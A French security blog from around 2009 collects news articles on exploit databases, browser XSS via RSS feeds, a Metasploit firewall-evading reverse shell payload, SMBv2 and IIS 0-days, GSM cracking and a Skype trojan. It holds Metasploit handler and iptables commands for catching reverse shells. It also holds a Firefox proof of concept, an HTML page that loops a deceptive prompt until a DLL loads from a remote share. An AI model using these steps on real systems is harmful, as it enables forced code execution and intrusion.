Me contacter :

Nicolas Kerschenbaum

Exploit-db.com, le nouveau site de référence pour les codes d'exploitation



Le célèbre site Milw0rm a beaucoup fait parler de lui ces derniers temps. Ce site, véritable référence en terme de code d'exploitation avait suscité la polémique depuis qu'il n'était plus à jour, allant même jusqu'à indiquer que son webmaster, str0ke, était décédé [1].
Suite à cette nouvelle, de nombreux sites ont voulu reprendre le flambeau. On peut tout d'abord citer le site inj3ct0r [2], qui a voulu s'imposer en copiant le site de Milw0rm de toutes pièces.


Site inj3ct0r basé sur le même design que celui de Milw0rm


Finalement, c'est vers l'équipe d'Offensive-Computing [3] que le fondateur de Milw0rm s'est officiellement tourné afin de continuer à proposer un service de qualité.
Rappelons qu'Offensive-Conputing met déjà à disposition une base de virus impressionnante et très utile pour effectuer des analyses.
Afin de mettre à disposition le nouveau service de référencement de code d'exploitation, un site internet [4] vient d'être mis en ligne spécialement pour l'occasion. Il profite d'un design clair et agréable qui pique un peu moins les yeux :D


Le nouveau site exploit-db.com successeur de Milw0rm


De nouvelles fonctionnalités sont apparues comme la possibilité de télécharger directement une version vulnérable au code d'exploitation proposé. La recherche a également été revue afin d'affiner les résultats suivant la plateforme affectée ou le type d'exploitation (distante, locale...), permettant un réel gain de temps.

Pour conclure, le site Milw0rm n'est plus maintenu, mais ce n'est pas une si mauvaise chose. Malgré le fait que son webmaster fût un membre très actif dans la recherche de vulnérabilité et dans le développement de code d'exploitation, de nouvelles personnes vont maintenant pouvoir s'impliquer dans ce projet et vont surement susciter l'intérêt de toute la communauté.



Webographie

[1] http://bl4cksecurity.blogspot.com/2009/11/str0ke-milworms-funeral-is-this-friday.html
[2] http://inj3ct0r.com
[3] http://www.offensive-security.com/blog/backtrack/exploit-the-day-after/
[4] http://www.exploit-db.com

Opera et les attaques de Cross-Site Scripting (XSS) via les flux RSS


Les flux RSS sont de plus en plus utilisés sur Internet. Ayant largement participé à la révolution du web 2.0, ce système permet aux utilisateurs de s'abonner afin d'être prévenu de tout nouveau contenu sur un site Internet, la plupart du temps s'agissant d'un nouvel article (je vous invite d'ailleurs à vous abonner à mon flux RSS =)

Les flux RSS sont souvent diffusés au format RSS ou Atom. Ces deux formats ne sont pas spécialement concurrents, ils offrent un même contenu, mais en utilisant une structure différente.
Le RSS 2.0, format le plus répandu, demeure figé dans son développement et n'est pas assez souple dans certains cas spécifiques. C'est cette souplesse qui a été apportée au format Atom qui propose plus d'innovation.

Ces flux RSS peuvent contenir des informations affichées au format HTML au sein d'une architecture XML.

De nos jour, quasiment tous les navigateurs Internet proposent un lecteur de flux RSS, nous pouvons donc nous demander si l'ensemble du code HTML contenu dans ces flux est interprété par le navigateur lors de la visualisation... et la réponse est parfois oui, comme le montre la récente vulnérabilité dans Opera.

En février dernier, c'était Safari qui souffrait d'une faille de type "Cross-Site Scripting" (XSS) [1]. Lorsque le flux RSS contenait du code JavaScript, celui-ci était exécuté par le navigateur, il était alors possible de voler des fichiers stockés sur l'ordinateur...

La preuve de concept suivante permettait de récupérer le contenu du fichier C:/WINDOWS/win.ini en incitant simplement un utilisateur à visualiser un flux RSS 2.0 :


Code source d'un flux RSS malicieux pour le navigateur Safari 

Le code est disponible sur pastebin à l'adresse suivante : http://pastebin.com/f133c1f70


Aujourd'hui c'est Opera qui est également touché par une vulnérabilité XSS [2], mais cette fois via les flux Atom. Cette faille de sécurité affecte les versions 10.00 du navigateur, mais après quelques recherches, la faille de sécurité a mal été corrigée et est toujours exploitable sur les dernières versions (10.10b1)... Notons d'ailleurs que les versions 9.5.x sont également vulnérables.

La faille de sécurité provient d'un manque de contrôle sur certaines balises et attributs HTML. Il est possible de placer du code JavaScript afin que ce dernier soit exécuté par le navigateur. Des requêtes Ajax (via l'objet XMLHttpRequest), ou l'appel à des fonctions internes du navigateur peuvent donc être réalisés.

En incitant un utilisateur à visualiser un flux RSS Atom malicieux, un pirate peut forcer le lecteur RSS d'Opera à s'abonner à des flux RSS sans même demander confirmation à l'utilisateur, ceci grâce à la fonction opera.feeds.subscribeNative().

Quatre manières d'exécuter du code JavaScript par le biais d'un flux Atom ont été découvertes et sont présentées ci-dessous:


Flux Atom malicieux permettant d'ajouter des flux RSS à l'insu d'un utilisateur

Le code est disponible sur pastebin à l'adresse suivante : http://pastebin.com/f63c2fdfb


Une vidéo présentant cette faille de sécurité est disponible ci-dessous et permet de visualiser le déroulement de l'attaque:




Bien que le fait d'ajouter des flux RSS à un utilisateur n'ait peu d'intérêt en soi, d'autres attaques plus poussées peuvent être dramatiques. Un pirate pourrait voler des documents stockés sur un ordinateur, visualiser le contenu des pages web ouvertes dans d'autres onglets, ou encore changer la configuration du navigateur.

On sous-estime souvent la portée des attaques XSS non permanente, qui une fois exécutées avec les droits de la zone locale, contournent les principales restrictions de sécurité, ce qui laisse libre court à l'imagination du pirate...



Webographie

[1] http://xs-sniper.com/blog/2009/02/13/stealing-more-files-with-safari/
      http://xs-sniper.com/blog/2009/06/09/safari-322-feed-protocol-handler-issues/
[2] http://securethoughts.com/2009/10/hijacking-operas-native-page-using-malicious-rss-payloads/

Metasploit se dote d'un payload permettant de tirer profit d'une mauvaise configuration Firewall

Du nouveau dans Metasploit ...
Rappelons-le, le célèbre framework d'exploitation Metasploit [1] permet principalement de tester et exploiter des vulnérabilités, aussi bien sur un système d'exploitation que sur un logiciel donné.

Deux composantes primordiales constituent ce framework : les codes d'exploitations, qui tirent profit des différentes vulnérabilités découvertes, et la charge utile: le payload, permettant d'exécuter le code désiré une fois la vulnérabilité exploitée.
Les payloads permettent de réaliser de nombreuses opérations telles que la mise en place d'un serveur VNC pour prendre le contrôle de la machine vulnérable en mode graphique, l'ajout d'un utilisateur sur le système, l'exécution d'un invité de console avancé tel que Meterpreter, etc.


Framework Metasploit

Ce framework vient d'intégrer récemment un nouveau payload [2] particulièrement intéressant. Ce dernier permet de jouer avec les règles du firewall afin d'abuser de règles trop laxistes.

En effet, les règles des firewalls au sein des entreprises sont au départ minutieusement étudiées de sorte qu'aucun flux non désiré ne puisse transiter à travers celui-ci. Les utilisateurs ne peuvent donc pas accéder à des ressources qui ne leur sont pas destinées, ou à utiliser des logiciels non désirés.
Cependant, au fil du temps, les impératifs métier ou les environnements de test nécessitent l'ouverture en urgence de certains flux, la plupart du temps assez laxistes, pour que tout soit fonctionnel le plus vite possible. Cependant, une fois les maquettes terminées, il n'est pas rare que certaines règles persistent au sein de la configuration du firewall.

Ce payload permet justement de tirer profit de ces règles oubliées ou mal conçues, afin d'obtenir un moyen de contrôle sur une machine présentant une faille de sécurité.


Lorsqu'un attaquant compromet une machine, deux possibilités s'offrent à lui pour s'y connecter et interagir avec elle. Tout d'abord le bind_shell. Cette méthode ouvre un port sur la machine compromise pour que l'attaquant se connecte sur celui-ci. Si la machine vulnérable est derrière un pare-feu ou un routeur, le port désiré ne sera donc pas forcément accessible par l'attaquant.


Notons égallement que les payloads de Metasploit utilisent le port 4444 par défaut. Ce port n'étant pas un port fréquemment utilisé et a de grandes chances d'être bloqué par un firewall situé entre la machine de l'attaquant et la machine vulnérable.




Principe du bind shell


Dans ce cas-là, il est préférable d'utiliser le reverse_shell. La technique consiste à forcer la machine compromise à se connecter sur la machine de l'attaquant plutôt que l'inverse. Cette méthode permet dans de nombreux cas de contourner le problème du routeur, voire du Firewall.

Cependant, que faire si le firewall bloque également ce flux sortant ?




Principe du reverse shell 


Un code malicieux a été exécuté sur la machine compromise, mais il n'est pas possible d'obtenir une interaction avec celle-ci : le résultat des commandes soumises par l'attaquant ne peut pas être visualisé... plutôt frustrant non ?

L'attaquant peut évidemment tenter d'utiliser les ports les plus communs tels que le 21, 22, 23, 53, 80, 110, 143, 443... mais passera surement à côté d'une règle autorisant un port exotique.

C'est là qu'intervient le nouveau payload windows/*/reverse_tcp_allports. Il permet de découvrir de façon automatique les ports non bloqués en sortie par le firewall.

Le payload windows/*/reverse_tcp_allports va forcer la machine compromise à se connecter sur le port 4444 de la machine de l'attaquant. Si ce port n'est pas joignable, il va alors tenter de joindre successivement et de façon exhaustive la machine de l'attaquant en partant du port numéro 1 jusqu'au 65535.

Pour cela, l'attaquant va tout d'abord mettre en écoute l'intégralité des ports d'une machine qu'il contrôle, afin de recevoir la session provenant de la machine compromise.
msf> use exploit/multi/handler
msf (exploit/handler) > set PAYLOAD windows/meterpreter/reverse_tcp_allports
msf (exploit/handler) > set LHOST ip.ip.ip.ip
msf (exploit/handler) > set LPORT 4444
msf (exploit/handler) > exploit -j
Évidemment, la machine de l'attaquant ne peut pas mettre l'ensemble de ses ports en écoute, c'est pourquoi il est nécessaire d'utiliser une seconde machine dédiée à cette tache.
La règle iptables suivante permet par exemple de rediriger l'ensemble des flux arrivant sur la machine dédiée, vers le port 4444 de la machine de l'attaquant.
# iptables -I INPUT -p tcp -m state --state NEW -d ip1.ip1.ip1.ip1 -j DNAT --to ip2.ip2.ip2.ip2:4444
ip1.ip1.ip1.ip1 est l'adresse ip de la machine dédiée à la réception des ports non bloqués par le firewall, tandis que ip2.ip2.ip2.ip2 est l'adresse ip de la machine de l'attaquant.

L'option set DisablePayloadHandler du nouveau payload permet de définir la configuration à adopter en fonction de la machine sur laquelle l'attaquant se situe (machine dédiée à l'écoute, ou machine de l'attaquant). Cette option aura alors la valeur true sur la machine de l'attaquant contrairement à la machine en écoute.



Principe du nouveau payload intégré à Metasploit 


Cette méthode est particulièrement intéressante d'un point de vue théorique, mais comporte toutefois un inconvénient de taille: sa lenteur !

En effet, afin de détecter un port bloqué, plus d'une minute peut être nécessaire. Ainsi, il faut parfois attendre plusieurs heures avant de découvrir un port autorisé par une règle laxiste...



Webographie

[1] http://www.metasploit.com/framework/
[2] http://blog.metasploit.com/2009/09/forcing-payloads-through-restrictive.html
[3] http://clinicallyawesome.com/post/196352889/blind-connect-back-through-restrictive-firewall

Firefox va encore plus loin dans l'analyse des versions obsolètes de plug-ins

Après le succès de son opération [1] visant à avertir les utilisateurs d'une version obsolète du lecteur Adobe Flash Player, Mozilla compte étendre cette action aux plug-ins les plus utilisés.

Rappelons-le, Firefox a lancé depuis ses versions 3.5.3 et 3.0.14, une campagne de prévention. Lorsqu'un utilisateur met à jour son navigateur Firefox, il est redirigé sur une page du site Mozilla lui indiquant que son navigateur a bien été mis à jour. A présent, Mozilla ne se contente plus de donner cette unique information, mais vérifie également si la version du lecteur Flash est à jour. Le plug-in Flash, fourni par Adobe, équipe près de 99% [2] des navigateurs. De nombreuses vulnérabilités critiques affectent des versions obsolètes, et sont la plupart du temps exploitées à des fins malicieuses (téléchargement de malware à l'insu de l'utilisateur).

Cette campagne d'avertissement a permis en seulement une semaine de mettre à jour près de 10 millions de lecteurs Flash sur les navigateurs internet [3] ! Un succès incontestable pour Mozilla...



10 000 000 d'utilisateurs sont allés sur le site d'Adobe via cette opération


Face à ce succès, Mozilla ne compte pas en rester là... La version 3.6 de Firefox permettra de vérifier de nombreux autres plug-ins tels que VLC, Java, Quicktime, Adobe Acrobat, Adobe Reader, ou encore Realplayer.
Une page de démonstration est dès à présent disponible [4] afin de tester ces futures fonctionnalités.




Page permettant de visualiser les plug-ins obsolètes installés


Mozilla propose une excellente solution permettant aux utilisateurs de mettre simplement à jour leurs plug-ins.
En effet, tous les plug-ins ne possèdent pas des mises jour automatiques et il est parfois difficile de savoir si la version utilisée est la plus récente.
Grâce à ce système, les navigateurs sont à présent un pilier dans la politique de patch management. Espérons que d'autres navigateurs Internet reprendront cette idée.



Webographie

[1] http://security-wave.blogspot.com/2009/09/les-nouvelles-versions-de-firefox.html
[2] http://www.adobe.com/products/player_census/flashplayer/
[3] http://blog.mozilla.com/metrics/2009/09/16/helping-people-upgrade-flash/
[4] http://www.mozilla.com/en-US/plugincheck/

Un 0-day dans le protocole SMBv2 permet de prendre le contrôle à distance d'un système Windows (Vista, 2008, 7)



Le 7 septembre, une vulnérabilité 0-day a été découverte au sein du protocole SMBv2[1] (Server Message Block version 2). Ce protocole, implémenté sur les systèmes Vista, serveur 2008 et Windows 7, est utilisé pour le partage de fichiers et d'imprimantes.

Cette faille de sécurité, découverte par Laurent Gaffié[2] grâce à une attaque de fuzzing, est considérée comme critique.

En effet, celle-ci est exploitable à distance et permet d'exécuter un code malicieux avec les droits SYSTEM (administrateur). L'ironie vient du fait qu'elle a été introduite suite à la mise en place du correctif KB942624 (MS07-063) corrigeant une précédente faille de sécurité au sein de ce même protocole.

Cette vulnérabilité provient d'une mauvaise gestion des requêtes NEGOTIATE PROTOCOL par le pilote SRV2.SYS. Les requêtes NEGOTIATE PROTOCOL sont envoyées au serveur SMB dans le but d'identifier le dialecte SMB utilisé.
La faille de sécurité peut être provoquée lorsque le champ Process Id High contient un caractère "&", il est alors possible de provoquer un déréférencement de pointeur

Même si pendant plus d'une semaine seul un déni de service (DoS) avait été démontré provoquant le célèbre blue screen of death (BSoD)[3], plusieurs chercheurs ont prouvé qu'il était possible d'exécuter du code malicieux à distance.


 Ecran bleu provoqué lors de l'exploitation 


Les recherches ont tout d'abord débuté sur le blog vrt-sourcefire[4], mais la preuve de concept la plus aboutie vient de notre expert français Kostya Kortchinsky[5] qui réussi à exploiter cette faille de sécurité pour élever les privilèges d'un utilisateur local sur un système Vista à jour.
Le lendemain il réussit à modifier le code d'exploitation de sorte à pouvoir prendre le contrôle distant sur un système Windows Vista et Windows Serveur 2008 SP2.
Il indique que cette vulnérabilité est vraiment critique puisqu'un qu'un ver pourrait l'utiliser afin de se diffuser facilement (reste qu'en entreprise les Vista et Serveur 2008 ça ne court par les rues...).

Notons toutefois que les différents codes d'exploitation ne sont pas disponibles publiquement, mais sont uniquement intégrés au framework d'exploitation payant Canvas[6]. Une vidéo de l'exploitation sur ce framework est disponible [7].


Utilisation du code d'exploitation sur le framework Canvas 


UPDATE (04/10/2009):
Un code d'exploitation est maintenant disponible dans le framework d'exploitation gratuit Metasploit (trunk) [10].


Comment se protéger ?

En attendant que Microsoft publie un correctif, plusieurs actions peuvent être réalisées afin de remédier à cette vulnérabilité.

Tout d'abord, il est possible de désactiver le protocole SMBv2. Pour cela, il faut mettre la valeur de la clé de registre HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\smbv2 à 0 puis redémarrer le service Server. Microsoft propose un script permettant de réaliser automatiquement cette opération [8].

Il est également possible de bloquer les ports utilisés par le SMB (TCP 139 et TCP 445) par le firewall.

A noter qu'une règle Snort est disponible (15930) [9]

UPDATE (13/10/2009):
Microsoft corrige les 2 vulnérabilités avec le correctif proposé dans le bulletin MS09-050 [11].


Webographie

[1]   http://en.wikipedia.org/wiki/Windows_Vista_networking_technologies#Server_Message_Block_2.0
[2]   http://g-laurent.blogspot.com/2009/09/windows-vista7-smb20-negotiate-protocol.html
[3]   http://fr.wikipedia.org/wiki/Bsod
[4]   http://vrt-sourcefire.blogspot.com/2009/09/smbv2-quotes-dos-quotes.html
[5]   http://expertmiami.blogspot.com/2009/09/exploitation-de-la-vulnerabilite-smbv2.html
        http://expertmiami.blogspot.com/2009/09/quelques-pensees-en-vrac-sur-la.html
        http://expertmiami.blogspot.com/2009/09/exploit-smbv2-distant-pour-vista.html
        http://expertmiami.blogspot.com/2009/09/bonne-nouvelle-du-jour.html
[6]   http://www.immunityinc.com/ceu-index.shtml
[7]   http://www.immunityinc.com/documentation/smb2.html
[8]   http://support.microsoft.com/kb/975497
[9]   http://www.snort.org/vrt/docs/ruleset_changelogs/CURRENT/changes-2009-09-17.html
[10] http://blog.metasploit.com/2009/10/smb2-351-packets-from-trampoline.html
[11] http://www.microsoft.com/france/technet/security/bulletin/ms09-050.mspx

Une vulnérabilité de Firefox permet à un attaquant de prendre le contrôle d'un système vulnérable

Vendredi dernier, le chercheur Dan Kaminsky, rendu célèbre pour sa fameuse faille de sécurité au sein du protocole DNS, révélait cette fois-ci [1], une vulnérabilité critique au sein du navigateur Firefox.

En exploitant celle-ci, un attaquant était en mesure de prendre le contrôle d'un système distant avec les droits de l'utilisateur actuellement connecté. L'ensemble des systèmes d'exploitation est affecté (Windows, Linux, Mac OS X).

La faille de sécurité provenait de la fonction window.pkcs11.addmodule, utilisée pour installer des pilotes ou logiciels liés au protocole PKCS11. Cette fonction prenait en paramètre le chemin absolu de la librairie à charger.
Un pirate pouvait alors utiliser cette fonction JavaScript au sein d'une page web judicieusement conçue, dans le but de forcer sa victime à charger une librairie (.DLL ou .SO) malicieuse accessible depuis un répertoire partagé sur Internet (chemin UNC du type \\ip.ip.ip.ip).

Cette attaque n'est toutefois pas transparente pour l'utilisateur. Lors de l'exécution de la fonction window.pkcs11.addmodule, une fenêtre d'avertissement demande à l'utilisateur si celui-ci souhaite charger la librairie spécifiée par l'attaquant.

La capture suivante illustre le message affiché à l'utilisateur.


Message affiché à l'utilisateur lors du chargement de la page HTML malicieuse


Cependant, en effectuant une boucle infinie, l'utilisateur n'a d'autre choix que d'installer la librairie proposée. En effet, son navigateur est totalement inutilisable tant que la librairie à charger n'a pas été validée (le bouton Annuler ne permet pas de stopper l'opération). L'utilisateur n'est même plus en mesure de pouvoir fermer son navigateur (excepté en terminant le processus lié à Firefox).


Ainsi, en incitant un utilisateur à visiter une page Web malicieuse, un pirate est en mesure de forcer celui-ci à exécuter une librairie (.DLL ou .SO). Cette librairie peut contenir directement un code malicieux (virus, cheval de Troie...) ou lancer un programme présent sur le système.

Dans notre exemple, la librairie chargée démarre la calculatrice de Windows (calc.exe).



La librairie DLL chargée permet de démarrer la calculatrice de Windows


Les paragraphes suivants détaillent la procédure technique à suivre afin de reproduire cette preuve de concept sur un système Windows.

Tout d'abord, il est nécessaire de créer notre DLL malicieuse. Pour cela, il nous faut un framework de développement type Visual Studio. Nous créons alors un projet DLL MFC (DLL normale utilisant une DLL MFC partagée).



Projet de création d'une DLL 


Le code malicieux sera présent au sein du constructeur afin que celui-ci soit exécuté dès le chargement de la librairie.
char *str = "c:\\windows\\system32\\calc.exe";
wchar_t *wText;
size_t len;

len = strlen(str)+1;

wText = new wchar_t[strlen(str)];
memset(wText, 0, len * sizeof(wchar_t));

::MultiByteToWideChar(CP_ACP, NULL, str, -1, wText, len);

ShellExecute(NULL, NULL, wText, NULL, NULL, SW_SHOW);


Code C permettant de lancer la calculatrice Windows lors du chargement de celle-ci

Ce code nécessite une version récente d'un framework de développement, laissez tomber vos
Visual C++ 6 (merci Yannick ;) )

La DLL peut alors être générée et placée au sein d'un dossier partagé accessible via Internet.
Vous pouvez télécharger la DLL générée dans cet exemple ici.



Fichier DLL placé au sein d'un dossier partagé 


Maintenant il ne reste plus qu'à créer une page web contenant un code JavaScript faisant appel à la fonction window.pkcs11.addmodule

<html>
<body>
<script>

var str = "Error detected in Firefox Module NSP31337.bin.\\n" + "Please click \'OK\' to repair.";

ret=-2;
while(ret!=-5)
{
ret=window.pkcs11.addmodule("\\n\\n\\n" + str + "\\n\\n\\n","\\\\\\\\192.168.0.11\\\\dll\\\\dll_firefox.dll", 0, 0);
}

</script>
</body>
</html>
Cette vulnérabilité critique est corrigée au sein de la version 3.0.14 de Firefox.
Notons que les versions 3.5 ne sont pas affectées par cette faille de sécurité.


Webographie

[1] http://www.milw0rm.com/exploits/9651
[2] http://www.megaupload.com/?d=9O8BJUXF

Les serveurs Microsoft IIS victimes de deux vulnérabilités 0-day

Depuis le 31 août, un code d'exploitation publié sur Milworm permet d'exploiter une vulnérabilité importante sur les serveurs web Microsoft IIS.
Cette faille de sécurité de type 0-day (non corrigée par l'éditeur) affecte plus précisément le service FTP des serveurs IIS. En exploitant cette faille de sécurité, un attaquant est en mesure de prendre le contrôle du système ou de provoquer un déni de service (DoS).

Cette vulnérabilité (CVE-2009-3023) provient d'une mauvaise gestion des noms de certains dossiers. Par le biais de la commande FTP NLST (NAME LIST, utilisée pour lister le contenu d'un répertoire) et d'un répertoire spécialement conçu, il est possible de provoquer un débordement de pile (stack overflow).
Afin d'exploiter cette vulnérabilité, l'attaquant doit pouvoir créer des dossiers sur le serveur FTP, ce qui limite les possibilités d'attaque. Il s'agirait donc, soit d'un utilisateur légitime du serveur FTP avec des droits d'écriture, soit d'un serveur FTP autorisant les utilisateurs anonymes (compte anonymous) à créer des dossiers sur celui-ci.
De plus, rappelons que le service FTP n'est pas activé par défaut sur un serveur IIS.
Toutefois, un serveur FTP vulnérable permettrait à un pirate de prendre le contrôle du système sous-jacent sur la version IIS 5.0 (Windows 2000 SP4) avec les droits LocalSystem (administrateur), tandis qu'il pourrait provoquer un arrêt inopiné du service sur les versions IIS 5.0, IIS 5.1, IIS 6.0 et IIS 7.0 des autres systèmes d'exploitation.
Un code d'exploitation fonctionnel est disponible dans le Framework Metasploit (trunk).
Notons également que Microsoft indique que cette faille de sécurité est actuellement exploitée sur Internet, mais de façon assez isolée.

Une seconde vulnérabilité (CVE-2009-521) permet quant à elle de provoquer un déni de service (DoS) sur les versions IIS 5.0, IIS 5.1, IIS 6.0, et IIS 7.0.
Cette deuxième faille de sécurité nécessite uniquement un accès en lecture au serveur FTP.


Détecter l'attaque et se protéger

Certains programmes permettent de déterminer les versions vulnérables des services FTP. Parmi ceux-ci on pourra noter 3 plug-ins Nessus [9] (un pour détecter l'utilisation d'un compte Anonymous, un second pour vérifier si le compte Anonymous possède les droits d'écrite, et le dernier vérifie si le débordement de pile est exploitable sur le service FTP), et un script nmap [10] effectuant les mêmes vérifications.

 nmap -p 21 -sV -PN --script=IIS-FTP
D'autre part, plusieurs signatures IDS/IPS sont disponibles afin de détecter/bloquer la tentative d'attaque. Ces signatures se basent sur le fait qu'une requête est suspicieuse si un argument d'une commande FTP contient plus de 100 caractères.
Plusieurs règles Snort [11] détectaient déjà cette attaque :
2374 - FTP NLST overflow attempt
3441 - FTP PORT bounce attempt
1973 - FTP MKD overflow attempt
1529 - FTP SITE overflow attempt
125:3:1 - FTP Parameter Length Overflow
125:6:1 - FTP Response Length Overflow
125:8:1 - FTP Bounce
Une règle de Emerging Threats [12] permet également de détecter la tentative d'exploitation.

Notons que le service FTP 7.5 pour Windows Vista et Windows Serveur 2008 n'est pas vulnérable à cette faille de sécurité et peut être téléchargé sur le site de Microsoft [13]



Webographie

[1] http://www.microsoft.com/technet/security/advisory/975191.mspx
[2] http://www.milw0rm.com/exploits/9559
      http://www.milw0rm.com/exploits/9587
[3] http://blogs.technet.com/msrc/archive/2009/09/03/microsoft-security-advisory-975191-revised.aspx
[4] http://blogs.technet.com/msrc/archive/2009/09/01/microsoft-security-advisory-975191-released.aspx
[5] http://blogs.technet.com/srd/archive/2009/09/01/new-vulnerability-in-iis5-and-iis6.aspx
[6] http://www.kb.cert.org/vuls/id/276653
[7] http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3023
[8] http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2521
[9] http://blog.tenablesecurity.com/2009/09/plugin-spotlight-microsoft-iis-ftpd-nlst-remote-buffer-overflow-vulnerability.html
[10] http://blog.rootshell.be/wp-content/uploads/2009/08/IIS-FTP.nse
[11] http://www.snort.org/vrt/advisories/2009/09/01/vrt-rules-2009-09-01.html
       http://dl.snort.org/sub-rules/snortrules-snapshot-CURRENT_s.tar.gz
[12] http://www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/EXPLOIT/EXPLOIT_IISFTP?rev=1.4;content-type=text%2Fplain
[13] http://www.microsoft.com/downloads/details.aspx?displaylang=en&FamilyID=b7f5b652-8c5c-447a-88b8-8cfc5c13f571

Les nouvelles versions de Firefox avertiront les utilisateurs d'une version de Flash obsolète

De plus en plus de vulnérabilités critiques sont découvertes au sein de la visionneuse Flash Adobe Flash Player. Cette visionneuse est donc un important vecteur d'exploitation pour les pirates sachant qu'elle est installée sur 99% des postes [1] et que parmi ceux-ci seuls 20% possèdent la dernière version à jour.


Face à ce constat alarmant, la fondation Mozilla prend les choses en main par le biais du navigateur Internet Firefox. Dorénavant, Firefox avertira les utilisateurs s'ils utilisent une version obsolète de la visionneuse Flash. Ce message d'avertissement sera affiché à partir des prochaines version du navigateur internet (3.5.3 et 3.0.14) et permettra, espérons le, d'augmenter le pourcentage de poste ayant une version non vulnérable du lecteur.


 Webographie:

[1] http://www.adobe.com/products/player_census/shockwaveplayer/ 
[2] http://www.h-online.com/security/Mozilla-to-protect-Adobe-Flash-users--/news/114157
[3] http://blog.mozilla.com/security/2009/09/04/helping-users-keep-plugins-updated/

Le chiffrement A5/1 utilisé pour les communications GSM vs les tables rainbowtable

Note: Cet article a été rédigé pour l'ActuSécu 23.

Une nouvelle sème la panique au sein du monde des télécomunications. Lors de la conférence Hacking at Random, le chercheur Karsten Nohl a présenté un projet open source permettant de casser facilement l'algorithme de chiffrement A5/1 utilisé pour les communications GSM (2G).

En France, encore 45 millions d’utilisateurs utilisent cette technologie soit près de 78%.

Ce projet permet de mener une attaque de brute forte (test de toutes les clés possibles) en utilisant le calcul distribué. Une fois la clé découverte, il serait alors possible de déchiffrer l'ensemble des conversations téléphoniques réalisées à partir et en provenance du téléphone ciblé, mais également les SMS envoyés et reçus.

Cet algorithme utilisé depuis maintenant 15 ans a déjà été sujet à plusieurs attaques. Lors de sa conférence, le chercheur n'a pas présenté une nouvelle vulnérabilité, mais plutôt une nouvelle méthode accélérant grandement le temps nécessaire au cassage de cet algorithme.

Il existe aujourd'hui au moins quatre solutions commercialisées entre 100 000$ et 250 000$ permettant de casser la clé de chiffrement. Cependant, ces logiciels ne pouvaient, vu leur prix, être utilisés par de nombreuses personnes.

Karsten Nohl souhaite donc rendre l'exploitation de cette attaque accessible à tous. Pour cela, il souhaite générer des rainbow tables, permettant de faire la corrélation entre une séquence chiffrée et la clé correspondante. Ces tables existent déjà pour de nombreux algorithmes tels que le LM et NT (utilisé pour l'authentification Windows) ou encore le MD5.

Le chercheur estime que le temps nécessaire à la génération de cette table serait de 3 mois en utilisant la puissance de calcul de 80 ordinateurs véloces. Ces tables pourraient ensuite être téléchargées et utilisées par l'ensemble des utilisateurs.

Son projet consiste donc à partager les ressources de calcul de sorte à générer cette table le plus rapidement possible. Chaque utilisateur pourrait ainsi contribuer à sa création.

Par ce projet, le chercheur espère améliorer la sécurité relative à la 2G pour que celle-ci bénéficie d’une protection telle que celle implémentée sur la 3G. Les constructeurs, opérateurs et utilisateurs seraient alors sensibilisés au réel risque de cette technologie.

À noter qu'un sniffer (logiciel d'écoute) dénommé GSM AirProbe permet de réaliser une capture et une analyse du trafic GSM. Ce logiciel a été présenté lors d'une seconde conférence.


Webographie

[1] http://reflextor.com/trac/a51
[2] http://har2009.org/program/events/187.en.html
[3] http://www.blackhat.com/presentations/bh-dc-08/Steve-DHulton/Presentation/bh-dc-08-steve-dhulton.pdf

Un trojan permet d’espionner les conversation de Skype

Note: Cet article a été rédigé pour l'ActuSécu 23.

Ruben Unteregger, un chercheur en sécurité informatique, vient de mettre à disposition le code source de son cheval de Troie [1], ciblant le logiciel de conversation Skype, utilisé principalement pour effectuer des communications sur Internet via la voix sur IP (VoIP).

Les conversations effectuées par Skype sont chiffrées, ce qui rend l’écoute très difficile puisque les algorithmes utilisés sont jugés robustes à l’heure actuelle (AES 256 bits).

Face au refus de Skype de fournir un moyen de contrôle pour les autorités (en gros, intégrer une backdoor au sein du logiciel), de nombreux états avaient pensé à développer un logiciel à installer sur un ordinateur ciblé, permettant de récupérer les conversations depuis l’ordinateur sur écoute. La BKA (police fédérale allemande) déclarait d’ailleurs fin 2007 qu’elle envisageait "de surveiller la source des télécommunications - c'est-à-dire aller à la source avant le chiffrement ou après son déchiffrement".
En février 2009, une entreprise avait annoncé lors d’une conférence à Londres (Counter Terror Expo), que la NSA serait prête à récompenser de plusieurs milliards celui qui arriverait à casser le chiffrement utilisé par Skype, de sorte à récupérer autant les messages échangés par écrit que par oral.

On l'a donc compris, ce logiciel est un réel problème pour les différentes entités visant à surveiller les citoyens.


Face à cette forte demande, un cheval de Troie baptisé "Trojan.Peskyspy" (ou encore "TROJ_SPAYKE.C") permet, une fois installé sur un poste cible, de contourner le chiffrement utilisé lors des appels, afin de pouvoir enregistrer les conversations au format MP3.
Ce fichier audio peut ensuite être envoyé sur le serveur du pirate qui pourra écouter les conversations espionnées en temps voulu.

Lorsque le cheval de Troie est exécuté au sein d'un système, il s'injecte au sein de différents processus dans le but de hooker certaines fonctions. Le malware peut ainsi intercepter l'ensemble des données audio PCM entre le micro de l'utilisateur et le logiciel Skype. Le malware peut ainsi récupérer les données audio envoyées avant que celles-ci ne soient chiffrées, et celles reçues après qu'elles soient déchiffrées par Skype.



Certains logiciels équivalents existaient déjà, mais étaient très chers (trojan bavarian) [2].

Grâce à la mise à disposition du code source en licence GPL, les gouvernements pourraient utiliser leur propre programme de surveillance afin de "mettre en écoute" certains utilisateurs à moindre coût.




Webographie

[1] http://www.megapanzer.com/2009/08/04/watching-encrypted-skype-traffic-with-skypedllinjector/
[2] http://wikileaks.org/wiki/Bavarian_trojan_for_non-germans